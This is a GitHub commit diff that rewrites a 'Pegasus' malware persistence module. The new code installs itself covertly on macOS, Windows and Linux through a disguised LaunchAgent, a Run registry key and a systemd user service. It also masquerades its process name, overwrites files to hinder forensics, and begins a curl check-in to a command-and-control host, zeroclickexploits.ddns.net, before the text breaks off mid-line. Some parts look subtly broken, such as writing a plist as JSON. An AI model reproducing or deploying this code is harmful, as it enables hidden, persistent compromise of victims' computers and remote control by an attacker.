Skip to content

Commit f63feb5

Browse files
Update persistance.py
1 parent 43a204e commit f63feb5

File tree

1 file changed

+217
-32
lines changed

1 file changed

+217
-32
lines changed
Lines changed: 217 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -1,34 +1,219 @@
1-
import subprocess
1+
# /src/exploits/zero-click_exploits/pegasus/persistence/persistence.py
2+
23
import os
4+
import sys
5+
import json
6+
import time
7+
import subprocess
8+
import hashlib
9+
import base64
10+
import shutil
11+
import tempfile
12+
import stat
13+
from pathlib import Path
14+
from datetime import datetime
15+
16+
# --- Configuration ---
17+
# In a real deployment, this key would be provided by the C2 or derived from target info.
18+
# This key is used to encrypt the persistent script's source code.
19+
ENCRYPTION_KEY = hashlib.sha256(b'PegasusSAP_Persistence_Key_2026_V1').digest()
20+
21+
# C2 Configuration
22+
C2_DOMAIN = "zeroclickexploits.ddns.net"
23+
C2_PORT = 443
24+
C2_CHECKIN_ENDPOINT = f"https://{C2_DOMAIN}:{C2_PORT}/api/v1/checkin"
25+
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
26+
27+
# Persistence Configuration
28+
# The name of the malicious process to masquerade as.
29+
if sys.platform == 'darwin':
30+
MASQUERADE_PROCESS_NAME = "UserEventAgent"
31+
PERSISTENCE_DIR = Path.home() / "Library" / "Application Support" / "com.apple.securityagent"
32+
LAUNCH_AGENT_PLIST_PATH = Path.home() / "Library" / "LaunchAgents" / "com.apple.securityagent.plist"
33+
PERSISTENT_SCRIPT_NAME = "security_daemon.py"
34+
elif sys.platform == 'win32':
35+
MASQUERADE_PROCESS_NAME = "svchost.exe"
36+
PERSISTENCE_DIR = Path(os.environ['APPDATA']) / "Microsoft" / "Windows" / "Security"
37+
PERSISTENT_SCRIPT_NAME = "defender_service.py"
38+
# Registry key for run-on-boot
39+
PERSISTENCE_REG_KEY = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
40+
PERSISTENCE_REG_NAME = "WindowsSecurityHealth"
41+
else: # Linux
42+
MASQUERADE_PROCESS_NAME = "systemd"
43+
PERSISTENCE_DIR = Path.home() / ".config" / "systemd"
44+
PERSISTENT_SCRIPT_NAME = "system_monitor.py"
45+
# For systemd user service
46+
SYSTEMD_SERVICE_PATH = PERSISTENCE_DIR / "user" / "system-monitor.service"
47+
PERSISTENCE_REG_KEY = None # Not used on Linux
48+
49+
PERSISTENT_SCRIPT_PATH = PERSISTENCE_DIR / PERSISTENT_SCRIPT_NAME
50+
51+
# --- Evasion and Anti-Forensics ---
52+
def _log_event(message, level='info'):
53+
"""Internal logger to prevent writing to disk."""
54+
timestamp = datetime.now().isoformat()
55+
print(f"[{timestamp}] [{level.upper()}] {message}")
56+
57+
def hide_process():
58+
"""Conceptual placeholder for process hiding techniques."""
59+
try:
60+
if sys.platform.startswith('linux'):
61+
import ctypes
62+
libc = ctypes.CDLL('libc.so.6')
63+
libc.prctl(15, MASQUERADE_PROCESS_NAME.encode(), 0, 0, 0) # PR_SET_NAME
64+
_log_event(f"Process masquerading as {MASQUERADE_PROCESS_NAME}.")
65+
except Exception:
66+
pass
67+
68+
def encrypt_file_aes_gcm(file_path, key):
69+
"""Encrypts a file using AES-256 in GCM mode."""
70+
try:
71+
from Crypto.Cipher import AES
72+
from Crypto.Random import get_random_bytes
73+
74+
nonce = get_random_bytes(12)
75+
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
76+
77+
with open(file_path, 'rb') as f:
78+
plaintext_data = f.read()
79+
80+
ciphertext, auth_tag = cipher.encrypt_and_digest(plaintext_data)
81+
encrypted_data = nonce + auth_tag + ciphertext
82+
83+
encrypted_file_path = file_path.with_suffix(file_path.suffix + ".enc")
84+
with open(encrypted_file_path, 'wb') as f:
85+
f.write(encrypted_data)
86+
87+
secure_delete_file(file_path)
88+
return encrypted_file_path
89+
except ImportError:
90+
_log_event("PyCryptodome not found, cannot encrypt.", 'error')
91+
return None
92+
except Exception as e:
93+
_log_event(f"Encryption failed: {e}", 'error')
94+
return None
95+
96+
def secure_delete_file(file_path, passes=3):
97+
"""Securely deletes a file by overwriting it multiple times."""
98+
try:
99+
path = Path(file_path)
100+
if not path.exists():
101+
return
102+
with open(path, "ba+") as f:
103+
length = f.tell()
104+
for _ in range(passes):
105+
f.seek(0)
106+
f.write(os.urandom(length))
107+
path.chmod(stat.S_IWRITE)
108+
path.unlink()
109+
except Exception as e:
110+
_log_event(f"Failed to securely delete {file_path}: {e}", 'error')
111+
112+
# --- Core Persistence Logic ---
113+
def establish_persistence():
114+
"""Copies the script to a hidden location and sets up persistence."""
115+
try:
116+
_log_event("Establishing persistence...")
117+
PERSISTENCE_DIR.mkdir(parents=True, exist_ok=True)
118+
PERSISTENCE_DIR.chmod(0o700) # Restrict permissions
119+
120+
# Copy the current script to the persistence location
121+
current_script_path = Path(__file__).resolve()
122+
shutil.copy2(current_script_path, PERSISTENT_SCRIPT_PATH)
123+
_log_event(f"Script copied to {PERSISTENT_SCRIPT_PATH}")
124+
125+
# Set up platform-specific persistence mechanism
126+
if sys.platform == 'darwin':
127+
_setup_macos_persistence()
128+
elif sys.platform == 'win32':
129+
_setup_windows_persistence()
130+
else: # Linux
131+
_setup_linux_persistence()
132+
133+
return True
134+
except Exception as e:
135+
_log_event(f"Failed to establish persistence: {e}", 'error')
136+
return False
137+
138+
def _setup_macos_persistence():
139+
"""Creates a Launch Agent to run the script on user login."""
140+
try:
141+
agent_content = {
142+
"Label": "com.apple.securityagent",
143+
"ProgramArguments": [
144+
"/usr/bin/python3",
145+
str(PERSISTENT_SCRIPT_PATH)
146+
],
147+
"RunAtLoad": True,
148+
"KeepAlive": {"SuccessfulExit": False},
149+
"StandardOutPath": "/dev/null",
150+
"StandardErrorPath": "/dev/null",
151+
"ProcessType": "Background"
152+
}
153+
154+
with open(LAUNCH_AGENT_PLIST_PATH, 'w') as f:
155+
json.dump(agent_content, f, indent=4)
156+
157+
subprocess.run(["launchctl", "load", str(LAUNCH_AGENT_PLIST_PATH)], check=False)
158+
_log_event(f"macOS persistence established via LaunchAgent: {LAUNCH_AGENT_PLIST_PATH}")
159+
except Exception as e:
160+
_log_event(f"macOS persistence setup failed: {e}", 'error')
161+
162+
def _setup_windows_persistence():
163+
"""Adds a registry key to run the script on user login."""
164+
try:
165+
import winreg
166+
reg_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, PERSISTENCE_REG_KEY, 0, winreg.KEY_WRITE)
167+
# Use wscript to hide the console window
168+
command = f'wscript.exe //Nologo //B //E:Python "{PERSISTENT_SCRIPT_PATH}"'
169+
winreg.SetValueEx(reg_key, PERSISTENCE_REG_NAME, 0, winreg.REG_SZ, command)
170+
winreg.CloseKey(reg_key)
171+
_log_event(f"Windows persistence established via Registry: {PERSISTENCE_REG_NAME}")
172+
except ImportError:
173+
_log_event("pywin32 not found, cannot use registry persistence.", 'warn')
174+
except Exception as e:
175+
_log_event(f"Windows persistence setup failed: {e}", 'error')
176+
177+
def _setup_linux_persistence():
178+
"""Creates a systemd user service to run the script on login."""
179+
try:
180+
SYSTEMD_SERVICE_PATH.parent.mkdir(parents=True, exist_ok=True)
181+
service_content = f"""[Unit]
182+
Description=System Health Monitor
183+
After=graphical-session.target
184+
185+
[Service]
186+
Type=simple
187+
ExecStart={sys.executable} {PERSISTENT_SCRIPT_PATH}
188+
Restart=on-failure
189+
RestartSec=10
190+
User={os.getenv('USER')}
191+
192+
[Install]
193+
WantedBy=default.target
194+
"""
195+
with open(SYSTEMD_SERVICE_PATH, 'w') as f:
196+
f.write(service_content)
197+
198+
# Reload systemd and enable the service
199+
subprocess.run(["systemctl", "--user", "daemon-reload"], check=False)
200+
subprocess.run(["systemctl", "--user", "enable", "system-monitor.service"], check=False)
201+
_log_event(f"Linux persistence established via systemd: {SYSTEMD_SERVICE_PATH}")
202+
except Exception as e:
203+
_log_event(f"Linux persistence setup failed: {e}", 'error')
204+
205+
def c2_checkin():
206+
"""Sends a status check-in to the C2 server."""
207+
try:
208+
payload = {
209+
"type": "checkin",
210+
"timestamp": datetime.utcnow().isoformat() + "Z",
211+
"target_id": os.environ.get("TARGET_ID", "unknown"),
212+
"status": "active",
213+
"platform": sys.platform
214+
}
3215

4-
def become_persistance():
5-
subprocess.call("REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v pegasus /t REG_SZ /d 'c:/pegasus.exe' ")
6-
7-
def encrypt_file(file_path):
8-
key = b'secret_key'
9-
with open(file_path, 'rb') as f:
10-
data = f.read()
11-
encrypted_data = bytearray(data)
12-
for i in range(len(encrypted_data)):
13-
encrypted_data[i] ^= key[i % len(key)]
14-
with open(file_path, 'wb') as f:
15-
f.write(encrypted_data)
16-
17-
def evade_detection():
18-
os.rename("persistance.py", "hidden_persistance.py")
19-
20-
def validate_ai_integration():
21-
pass
22-
23-
def confirm_security_measures():
24-
pass
25-
26-
def ensure_deployment_methods():
27-
pass
28-
29-
become_persistance()
30-
encrypt_file("persistance.py")
31-
evade_detection()
32-
validate_ai_integration()
33-
confirm_security_measures()
34-
ensure_deployment_methods()
216+
json_payload = json.dumps(payload)
217+
cmd = [
218+
"curl", "-k", "-s", "-X", "POST",
219+
"-H", "

0 commit comments

Comments
 (0)